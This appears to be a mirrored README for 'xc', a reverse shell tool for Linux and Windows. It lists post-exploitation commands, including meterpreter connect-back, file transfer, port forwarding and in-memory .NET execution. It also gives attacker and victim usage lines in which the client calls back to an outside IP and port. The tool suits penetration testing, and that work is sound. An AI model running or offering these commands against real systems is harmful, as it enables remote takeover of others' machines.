Giter Club home page Giter Club logo

xc's Introduction

xc

Netcat like reverse shell for Linux & Windows. This is still experimental - pull requests are welcome :)

Features

Windows

 !runas <username> <password> <domain>
   - restart xc with the specified user
 !runasps <username> <password> <domain>
   - restart xc with the specified user using powershell
 !met <port>
   - connects to a x64/meterpreter/reverse_tcp listener
 !upload <src> <dst>
   - uploads a file to the target
 !download <src> <dst>
   - downloads a file from the target
 !lfwd <localport> <remoteaddr> <remoteport>
   - local portforwarding (like ssh -L)
 !rfwd <remoteport> <localaddr> <localport>
   - remote portforwarding (like ssh -R)
 !vulns
   - checks for common vulnerabilities
 !plugins
   - lists available plugins
 !plugin <plugin>
   - execute a plugin
 !rc <port>
   - connects to a local bind shell and restarts this client over it
 !spawn <port>
   - spawns another client on the specified port
 !shell
 !powershell
 !net <sample.exe> <arg1> <arg2> ...   
   - Runs a .NET assembly from the server on the client without touching disk
 !exit

Linux

 !runas <username> <password> <domain>
   - restart xc with the specified user
 !met <port>
   - connects to a x64/meterpreter/reverse_tcp listener
 !upload <src> <dst>
   - uploads a file to the target
 !download <src> <dst>
   - downloads a file from the target
 !lfwd <localport> <remoteaddr> <remoteport>
   - local portforwarding (like ssh -L)
 !rfwd <remoteport> <localaddr> <localport>
   - remote portforwarding (like ssh -R)
 !plugins
   - lists available plugins
 !plugin <plugin>
   - execute a plugin
 !rc <port>
   - connects to a local bind shell and restarts this client over it
 !spawn <port>
   - spawns another client on the specified port
 !shell
 !ssh <port>
 !exit

Examples

  • Linux Attacker: xc -l -p 1337 (Server)
  • WindowsVictim : xc.exe 10.10.14.4 1337 (Client)
  • Argumentless: xc_10.10.14.4_1337.exe (Client)

Setup

go get golang.org/x/sys/windows
go get golang.org/x/text/encoding/unicode
go get github.com/hashicorp/yamux
go get github.com/ropnop/go-clr

Windows:

go build

Linux:

make

xc's People

Contributors

xct avatar clubby789 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.